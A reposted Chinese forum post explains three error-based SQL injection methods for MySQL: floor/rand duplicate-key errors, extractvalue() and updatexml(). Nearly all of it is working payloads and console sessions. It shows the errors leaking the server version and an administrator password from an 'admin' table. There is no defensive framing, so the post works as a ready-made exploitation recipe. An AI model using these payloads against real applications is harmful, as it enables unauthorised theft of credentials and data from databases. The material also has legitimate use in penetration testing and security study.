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主题： mysql 3种报错模式注入

本主题由 Administrator 于 2014-10-15 14:18:08 移动

napolenAx

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2014-10-15 14:16:59 | [全部帖] [楼主帖]

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摘要：1、通过floor报错可以通过如下一些利用代码 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by...

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));

举例如下：

首先进行正常查询：

mysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
+----+-------+---------+
| 1 | test | do it |
+----+-------+---------+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。

例如我们需要查询管理员用户名和密码：

Method1:
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:
mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue

测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'

--转自